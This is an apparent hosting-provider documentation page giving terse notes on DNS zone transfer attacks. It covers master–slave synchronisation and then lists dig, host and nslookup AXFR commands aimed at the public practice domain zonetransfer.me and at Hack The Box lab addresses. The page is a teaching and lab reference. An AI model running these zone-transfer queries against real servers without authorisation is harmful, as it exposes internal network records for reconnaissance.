> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/dns-attacks/dns-zone-transfer-attack.md). # DNS Zone Transfer Attack * Synchronization between the servers involved is realized by zone transfer * Using a secret key `rndc-key`, * the default configuration, the servers make sure that they communicate with their own master or slave * The slave fetches the `SOA` record of the relevant zone from the master at certain intervals, * the so-called refresh time, * usually one hour * compares the serial numbers * If the serial number of the SOA record of the master is greater than that of the slave, the data sets no longer match. ### Remarks * if box is ubuntu and using dns tcp on port 53 * might be susceptible to zone transfer attack *** ### Attack Internet * get the name server ```bash dig soa ZoneTransfer.me ```

* Exploit Zone transfer * linux * `dig axfr @nsztm1.digi.ninja zonetransfer.me` * `host -t axfr zonetransfer.me nsztm1.digi.ninja` * windows * `nslookup -type=axfr zonetransfer.me nsztm1.digi.ninja` ### Attack HTB ```bash nslookup ``` ```bash server ``` * ask the dns server to query it self ``` 10.10.11.166 ``` * for zone transfer ```bash dig axfr @dns.server.ip top_level_domain.com ``` * example ``` dig axfr @10.10.10.123 friendzoneportal.red ``` ## Reference *